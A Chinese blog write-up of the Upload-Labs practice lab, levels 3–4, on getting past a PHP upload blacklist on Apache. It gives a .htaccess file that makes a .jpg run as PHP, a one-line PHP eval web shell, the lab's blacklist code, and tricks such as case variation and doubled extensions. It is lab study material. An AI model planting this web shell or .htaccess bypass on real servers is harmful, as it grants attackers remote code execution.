上传漏洞 Upload-Labs-3-4实战笔记

最后留在记忆深处的总是些虚无缥缈的东西,就像你记住一个人往往不是因为她的美,很多年后你连她的样子都忘记了,可偶然在人流如织的街头闻到她惯用的香水味,你在惊悚中下意识地回过头去,却只看见万千过客的背影。

黑盒测试

非客户端校验,并且修改contype后还是无法绕过,修改大小写无法绕过,修改文件名为m.pphphp后上传成功但是没办法解析….那试一试服务层的解析漏洞好了,目标为apache服务器。apache有两个解析漏洞(在第一篇文章有介绍)逐一试一试,上传m.php.rar.jpg发现不行,试一试上传.htaccess。

因为前面提示内容是:不允许上传.asp,.aspx,.php,.jsp后缀文件,试着上传htacess文件直接上传成功了,然后把木马m.php改成m.jpg,直接上传成功,然后直接执行成功…

.htaccess内容:

<FilesMatch "m.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

m.jpg内容:

<?php @eval($_GET['x']);?>

这一块中压根不用抓包修改数据,先上传.htaccess文件,包含m.jpg当作php代码执行,然后把木马直接改名成m.jpg,直接上传。推测之所以把木马直接修改成jpg后上传成功是因为代码层没有对木马的内容进行校验,对图片进行渲染,这一点在后面的文章会有提起。

白盒测试

     if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array('.asp','.aspx','.php','.jsp');
    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //收尾去空

    if(!in_array($file_ext, $deny_ext)) {
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) {
             $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name'];
             $is_upload = true;
        }
    } else {
        $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
    }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

如果上传文件夹路径不存在就提示创建文件夹,存在就执行下面的代码。

定义一个数组,包含4个黑名单文件就是禁止上传的文件asp,aspx,PHP,jsp。

然后获取文件名删除文件名末尾的点,在win下可以上传xx.php.这样的格式然后自动变成xx.php(详见第一篇文章),然后把文件名转换成小写,防止使用xx.PHp这样的大小写文件名绕过,然后把字符串::$DATA替换成空字符,再去除空字符。

经过上面一系列的套路,就没办法上传如下文件:

1. xxx.php.
2. xxx.pHP
3. xxx.php::$DATA

最后判断上传文件的后缀名是不是在定义的黑名单里,如果不在就允许上传。

突破方式就是利用apache的htaccess文件,让特定的文件以特定的方式运行。

Upload-Labs-4

4的上传方法与3一模一样,稍微的区别在于黑名单,4的黑名单大概有这么多:

$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

然后毫无瓜葛啊,一样上传m.jpg和包含m.jpg执行php的htaccess文件即可。

如果代码层的过滤机制为黑名单机制的话,那么可以尝试使用大小写绕过。如果代码层使用删除匹配到黑名单的话,比如会把m.php的php删除,那么上传m.pphphp文件就可以绕过。

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%